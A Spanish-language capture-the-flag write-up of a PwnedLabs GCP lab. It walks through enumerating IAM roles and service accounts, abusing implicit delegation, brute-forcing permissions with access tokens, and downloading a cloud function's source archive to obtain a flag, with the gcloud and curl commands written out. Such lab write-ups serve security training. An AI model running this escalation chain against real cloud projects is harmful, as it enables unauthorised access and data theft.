Escalate GCP privileges with Implicit Delegation

Escalate GCP privileges with Implicit Delegation


GCP PwnedLabs

Autenticamos con las credenciales que nos dan como recurso.

ssh_command.

gcloud auth activate-service-account --key-file=sv1-337@gr-proj-1.iam.gserviceaccount.com.json

ssh_command.

Vemos que tenemos un rol de un desarollador frontend.

ssh_command.

gcloud projects get-iam-policy gr-proj-1 --flatten="bindings[].members" --format="table(bindings.role, bindings.members)" --filter="bindings.members:sv1-337@gr-proj-1.iam.gserviceaccount.com"

Desplegamos algunos permisos

ssh_command.

gcloud iam roles describe CustomFrontendAppDevRole --project=gr-proj-1

Vemos los roles y permisos de la cuenta.

ssh_command.

gcloud iam service-accounts get-iam-policy sv1-337@gr-proj-1.iam.gserviceaccount.com

Podemos ver las cuentas de servicio en el proyecto actual y tambien cuentas por defecto y servicios GCP customizados.

ssh_command.

gcloud iam service-accounts list --project gr-proj-1 > cuentasdeservicio.txt

bc cuentasdeservicio.txt

Solo quiero los correos electronicos.

ssh_command.

gcloud iam service-accounts list --project gr-proj-1 --format="value(email)" > cuentasdeservicio.txt

bc cuentasdeservicio.txt

No encontramos mucho con esa otra cuenta.

Pero si econtramos un rol customizado CustomRole736

ssh_command.

gcloud projects get-iam-policy gr-proj-1 --flatten="bindings[].members" --format="table(bindings.role, bindings.members)" --filter="bindings.members:sv2-962@gr-proj-1.iam.gserviceaccount.com"

gcloud iam service-accounts get-iam-policy sv2-962@gr-proj-1.iam.gserviceaccount.com

Vemos que tenemos delegacion implicita.

ssh_command.

gcloud iam roles describe CustomRole736 --project=gr-proj-1

Ahora vemos la tercera cuenta.

ssh_command.

gcloud projects get-iam-policy gr-proj-1 --flatten="bindings[].members" --format="table(bindings.role, bindings.members)" --filter="bindings.members:sv3-939@gr-proj-1.iam.gserviceaccount.com"

ssh_command.

gcloud iam service-accounts get-iam-policy sv3-939@gr-proj-1.iam.gserviceaccount.com

ssh_command.

gcloud auth print-access-token

accessToken=ya29..

python3 gcp-sa-brute.py --all-permissions -t $accessToken -f ~/Desktop/cuentasdeservicio.txt

ssh_command.

Creamos un archivo token2.txt y ponemos el accessToken.

ssh_command.

El archivo de token2.txt debe tener lo siguiente.

ssh_command.

Desplegamos la lista de funciones.

ssh_command.

gcloud functions list --access-token-file token2.txt --project=gr-proj-1

ssh_command.

Tratamos de hacer fuzzing con gcp-iam-brute.

python3 main.py --access-token <REDACTED> --project-id gr-proj-1 --service-account-email sv3-939@gr-proj-1.iam.gserviceaccount.com

Esta es otra manera de ver la funcion.

ssh_command.

curl -H "Authorization: Bearer $TOKEN" "https://cloudfunctions.googleapis.com/v1/projects/gr-proj-1/locations/-/functions"

Aqui podemos ver el nombre del bucket.

ssh_command.

curl -X GET -H "Authorization: Bearer $ACCESS_TOKEN" "https://storage.googleapis.com/storage/v1/b/$BUCKET_NAME/o"

Adquirimos el nombre del bucket.

ssh_command.

gcloud functions describe function-1 --region=us-central1 --project=gr-proj-1 --access-token-file=token2.txt

Vemos la lista de archivos.

ssh_command.

gcloud storage ls gs://gcf-sources-212055223570-us-central1/o/function-1-8678e4fb-cf43-4d97-b877-6512729bdba4/ --access-token-file=token2.txt

Copiamos el archivo que queremos a nuestra computadora.

ssh_command.

gcloud storage cp gs://gcf-sources-212055223570-us-central1/o/function-1-8678e4fb-cf43-4d97-b877-6512729bdba4/version-2/function-source.zip . --access-token-file=token2.txt

unzip function-source.zip

bc flag.txt

© 2026 Cu3rv0x